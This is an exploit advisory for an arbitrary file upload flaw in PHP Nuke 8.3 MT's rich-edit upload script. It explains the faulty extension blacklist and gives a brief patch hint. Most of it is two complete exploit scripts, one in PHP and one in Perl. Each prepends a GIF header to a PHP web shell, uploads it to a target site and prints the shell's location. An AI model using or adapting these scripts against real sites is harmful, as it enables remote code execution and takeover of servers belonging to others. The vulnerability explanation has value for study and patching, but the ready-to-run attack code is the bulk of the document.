PHP Nuke 8.3 MT Arbitrary File Upload Vulnerability

#####################################(Iranian Pentesters Home )####################################
#         
# Title    : PHP Nuke 8.3 MT Arbitrary File Upload Vulnerability
# Author   : Pentesters.ir
# Exploits Coded by : b3hz4d & 4n0nym0us
# Tested on: PHP Nuke 8.3
# Vendor   : http://phpnuke.ir
# Specially Thanks To: Navid, Hossein, Ahmad, vahid, daryoush and all of the pentesters.ir members
#
######################################## Www.Pentesters.Ir ########################################




Vulnerable File : ./includes/richedit/upload.php

       Vulnerability occures in checking extension section :

...
94.    $blacklist = array(".php", ".phtml", ".php3", ".php4", ".php5", ".php6", ".js", ".shtml", ".pl" ,".py");
95.    foreach ($blacklist as $file)
96.   {
97.    if(preg_match("/$file\$/i", $_FILES['userfile']['name']))
98.    {
99.   echo "ERROR: Uploading executable files Not Allowed\n";
100.    exit;
101.    }
102.    }
...

this section of code checks uploaded file extension with array of executable extensions.in line 97, preg-match() function
checks the extension in blacklist array but just checks the name after last dot.so we can't upload files such as file.php but we can rename file
to file.php.gif and if we want to upload php file, we should also include image header in file because of image size checking(gif,jpg,png,...)
and change the content-type(if necessary).you can rename your php file to something like file.php.01 and then use exploits to upload your php file.

Patch Solution:

remove "\$" from the preg_match() function

PHP Exploit :


<?php
///////////////////////////////////////////////////
#Iranian Pentesters Home
#PHP Nuke 8.3 MT AFU Vulnerability
#Coded by:4n0nym0us & b3hz4d
#http://www.pentesters.ir
///////////////////////////////////////////////////
//Settings:
$address = 'http://your-target.com';
$file = 'shell.php.01';
$prefix='pentesters_';


//Exploit:
@$file_data = "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00";
@$file_data .= file_get_contents($file);
file_put_contents($prefix . $file, $file_data);
$file = $prefix . $file;
echo "\n" . "///////////////////////////////////" ."\n";
echo "     Iranian Pentesters Home" . "\n";
echo " PHP Nuke 8.3 MT RFU Vulnerability" . "\n";
echo "///////////////////////////////////" ."\n";
$address_c = $address . '/includes/richedit/upload.php';
$postdata = array("userfile" => "@$file;type=image/gif","upload" => "1","path" => "images","pwd" => "1");
$data =  post_data($address_c, $postdata);
$start = strpos($data, "<img src=\"upload");
if ($start != null)
{
$data = substr($data,$start + 10);
$end = strpos($data, "\"");
$data = substr($data,0,$end);
echo "\n" . "Uploaded File: " . $address . "/includes/richedit/" . $data . "\n";
}
else
echo "\n" . "Upload Failed!!!";
function post_data($address, $data)
{
    $curl = curl_init($address);
    curl_setopt($curl, CURLOPT_USERAGENT, "Opera/9.0 (Windows NT 5.0; U; en)");
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    $content = curl_exec($curl);
    curl_close($curl);
    return $content;
}
?>






Perl Exploit:


#!/usr/bin/perl
###################################################
#//Iranian Pentesters Home
#//PHP Nuke 8.3 MT AFU Vulnerability
#//Coded by:4n0nym0us & b3hz4d
#//http://www.pentesters.ir
###################################################


use LWP;
use HTTP::Request::Common;
print "\n" . "///////////////////////////////////" ."\n";
print "     Iranian Pentesters Home" . "\n";
print " PHP Nuke 8.3 MT AFU Vulnerability" . "\n";
print "///////////////////////////////////" ."\n";
print "\n" . "Syntax: perl xpl.pl http://your-target.com shell.php.01 [prefix]" . "\n\n";
my $url   = $ARGV[0]."/includes/richedit/upload.php";
my $filename = $ARGV[1];
my $prefix = $ARGV[2];
my $rfile = $prefix . $filename . ".gif";
open fhandle, $ARGV[1] or die $!;
while (<fhandle>){
$shell .= $_;
}
close fhandle;
open fhandle, ">", $rfile or die $!;
print fhandle "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00"."\n".$shell;
close(fhandle);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026");
my $req = POST $url, Content_Type => 'form-data',
Content      => [
upload => "1",
path => 'images',
pwd => "1",
userfile =>  [ $rfile,$prefix . $filename ]
];
my $res = $ua->request($req);
$between=substr($res->as_string(), index($res->as_string(), '<img src="upload/')+10, index($res->as_string(), 'onclick="self.parent.') - index($res->as_string(), '<img src="upload/')-12);
print("Uploaded File: " . $ARGV[0]."/includes/richedit/".$between);
exit;